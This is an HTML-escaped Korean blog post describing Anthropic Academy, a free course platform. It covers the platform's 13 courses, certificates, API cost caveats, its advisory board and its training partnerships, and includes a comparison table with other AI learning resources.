&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Anthropic Academy&lt;/b&gt;는 Claude AI 개발사인 Anthropic이 공식 운영하는 온라인 학습 플랫폼이다. Skilljar 학습 관리 시스템(LMS)을 기반으로 구축되어 있으며, &lt;b&gt;https://anthropic.skilljar.com&lt;/b&gt; 에서 접근할 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2164&quot; data-origin-height=&quot;1822&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PIuMC/dJMcachWlzg/RS658cJhvmd9kdi71XSoUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PIuMC/dJMcachWlzg/RS658cJhvmd9kdi71XSoUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PIuMC/dJMcachWlzg/RS658cJhvmd9kdi71XSoUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPIuMC%2FdJMcachWlzg%2FRS658cJhvmd9kdi71XSoUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2164&quot; height=&quot;1822&quot; data-origin-width=&quot;2164&quot; data-origin-height=&quot;1822&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 플랫폼의 핵심 가치는 &lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;Anthropic이 직접 제작&amp;middot;검증한 공식 교육 콘텐츠&lt;/b&gt;&lt;/span&gt;라는 점이다. 써드파티 강사가 만든 강의가 아니라, Claude를 가장 잘 아는 팀이 직접 만든 커리큘럼을 통해 정확한 지식을 습득할 수 있다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;운영 주체:&lt;/b&gt; Anthropic (Claude AI 개발사)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;플랫폼 URL:&lt;/b&gt; https://anthropic.skilljar.com&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;학습 허브:&lt;/b&gt; https://www.anthropic.com/learn&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;총 코스 수:&lt;/b&gt; 13개 (2026년 3월 기준)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;대상:&lt;/b&gt; 개발자, 비개발자, 교육자, 학생, 비영리단체 등&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;언어:&lt;/b&gt; 영어&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;가격:&lt;/b&gt; 100% 무료 (신용카드 불필요, 유료 업그레이드 없음)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;수료증:&lt;/b&gt; 모든 코스 완료 시 공식 Anthropic 수료증 발급 (LinkedIn 추가 가능)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;가입 방법:&lt;/b&gt; 이메일만으로 Skilljar 계정 생성 (Anthropic 계정 불필요)&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt; 완전 무료 + 공식 수료증&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic Academy의 13개 코스는 &lt;b&gt;모두 무료&lt;/b&gt;다. 시험 기간 없고, 신용카드 입력 없고, 유료 업그레이드 없다. 코스를 완료하면 &lt;b&gt;Anthropic 공식 수료증&lt;/b&gt;이 발급되며 LinkedIn 프로필에 바로 추가할 수 있다. (단, Coursera 플랫폼에서 수강 시 수료증은 유료)&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt; 실습 과정 API 비용 안내&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;코스 수강 자체는 무료지만, &lt;b&gt;API 개발 실습 과정에서는 Claude API 사용이 필요&lt;/b&gt;하다. API 실습의 경우 Anthropic Console 계정과 사용량에 따른 API 비용이 발생할 수 있다. AI Fluency 시리즈와 Claude Code 과정은 API 비용 없이 수강 가능하다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt; Higher Education Advisory Board (2025년 8월 발표)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;AI가 학습과 비판적 사고를 강화하도록 보장&quot;이라는 미션 아래 저명한 교육 전문가 6명이 참여한다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Rick Levin&lt;/b&gt; (의장) &amp;mdash; 전 Yale대학 총장(1993-2013), 전 Coursera CEO(2014-2017)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;David Leebron&lt;/b&gt; &amp;mdash; 전 Rice University 총장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;James DeVaney&lt;/b&gt; &amp;mdash; University of Michigan, Academic Innovation 부총장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Julie Schell&lt;/b&gt; &amp;mdash; UT Austin, Academic Technology 부총장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Matthew Rascoff&lt;/b&gt; &amp;mdash; Stanford University, Digital Education 부총장&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;&lt;b&gt;Yolanda Watson Spiva&lt;/b&gt; &amp;mdash; Complete College America 회장&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f3e5f5; border-left: 4px solid #9c27b0; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt; 주요 교육 파트너십&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic Academy는 다양한 기관과 파트너십을 맺고 AI 교육을 확대하고 있다.&lt;/p&gt;
&lt;ul style=&quot;margin: 5px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Deloitte:&lt;/b&gt; AI Fluency 시리즈를 활용해 전 직원 AI 교육을 추진 중이며, 최종적으로 15,000명 이상의 직원 교육을 목표로 한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;National Academy for AI Instruction (NAAI):&lt;/b&gt; AFT(미국교원연맹)&amp;middot;Microsoft&amp;middot;OpenAI&amp;middot;Anthropic&amp;middot;UFT 공동 설립, $2,300만(약 310억 원) 규모의 이니셔티브. K-12 교육자 대상 AI 교육 역량 강화에 초점을 맞춘다 (Anthropic은 참여 파트너 중 하나)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;CodePath 협력:&lt;/b&gt; Anthropic과 CodePath의 별도 파트너십으로, 커뮤니티 칼리지&amp;middot;HBCU 학생 20,000명 이상에게 Claude 및 Claude Code 교육을 제공한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Amazon Web Services:&lt;/b&gt; Claude with Amazon Bedrock 코스 공동 제공 (원래 AWS 직원 전용이었다가 일반 공개)&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Google Cloud:&lt;/b&gt; Claude with Google Cloud's Vertex AI 코스 공동 제공&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;다른 AI 교육 플랫폼과의 차별점&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;시중에는 OpenAI Docs, AWS ML Training 등 다양한 AI 학습 리소스가 있다. Anthropic Academy가 이들과 다른 점은 다음과 같다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 13px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;비교 항목&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;Anthropic Academy&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;OpenAI (Docs/Cookbook)&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;AWS ML Training&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;가격&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;완전 무료&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;무료 (문서)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;일부 유료&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;수료증&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;무료 발급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;일부 유료&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;구조화&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;초급&amp;rarr;고급 체계적 경로&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;문서/쿡북 형태&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;코스 단위&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;교육 트랙&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;교육자/학생/비영리 특화&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;MCP 교육&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;2단계 체계적 코스&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;학술 자문&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;Higher Education Advisory Board&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;없음&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;없음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;대상 다양성&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;개발자~비개발자~교육자 전 계층&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;주로 개발자&amp;middot;기술직 중심&lt;/td&gt;
&lt;td style=&quot;padding: 10px 12px; border: 1px solid #b3d9ff;&quot;&gt;주로 AWS 개발자 중심&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2: 전체 코스 목록 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 전체 코스 목록 (13개)&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;카테고리별 분류&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;13개 코스는 크게 3개 카테고리로 나눌 수 있다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt; 개발자 과정 (5개):&lt;/b&gt; Claude Code, API 개발, MCP, Agent Skills&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt; AI 유창성 시리즈 (6개):&lt;/b&gt; Claude 101, AI Fluency 기반/교육자/학생/비영리/강사용&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt; 클라우드 통합 (2개):&lt;/b&gt; Amazon Bedrock, Google Cloud Vertex AI&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;코스 한눈에 보기&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;코스명&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;카테고리&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;대상&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;난이도&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;예상 소요&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;주요 내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Claude Code in Action&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;개발자&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;개발자&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;중급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;~3시간&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;개발 워크플로우에 Claude Code 통합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Building with the Claude API&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;개발자&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;개발자&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;고급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;~13시간&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;Claude API 기반 애플리케이션 개발 전 과정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Introduction to Model Context Protocol&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;개발자&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;개발자 (입문)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;중급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;~4시간&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;MCP 개념과 기초 활용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Model Context Protocol: Advanced Topics&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;개발자&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;개발자 (고급)&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;고급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;~6시간&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;MCP 심화 및 고급 활용법&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Introduction to Agent Skills&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;개발자&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;개발자&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;고급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;~4시간&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;AI 에이전트 개발 기초&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Claude 101&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;AI 유창성&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;비개발자 포함 전체&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;입문&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;~1시간&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;업무용 Claude 핵심 기능 활용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;AI Fluency: Framework &amp;amp; Foundations&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;AI 유창성&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;전체&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;입문&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;~4시간&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;효과적&amp;middot;윤리적 AI 협업 방법론&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;AI Fluency for Educators&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;AI 유창성&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;교육자&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;입문&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;~2시간&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;교육 현장에서의 AI 활용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;AI Fluency for Students&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;AI 유창성&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;학생&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;입문&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;~2시간&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;학습에서의 AI 활용법&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;AI Fluency for Nonprofits&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;AI 유창성&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;비영리단체&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;입문&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;~2시간&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;비영리 업무에서의 AI 도입&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Teaching AI Fluency&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;AI 유창성&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;강사&amp;middot;교육자&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;중급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;~3시간&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;AI 유창성 교육 방법론&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Claude with Amazon Bedrock&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;클라우드 통합&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;AWS 개발자&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;중급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;~3시간&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;Amazon Bedrock에서 Claude 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Claude with Google Cloud's Vertex AI&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;클라우드 통합&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;GCP 개발자&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;중급&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;~3시간&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;Google Cloud Vertex AI에서 Claude 사용&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;ex) SignUp 하고 SignIn하여 로그인 완료 하면 자동으로 Claude Code In Action 옆에 Registereed 라고 마킹 되어있는것을 볼 수 있을 것 이다.&lt;/p&gt;
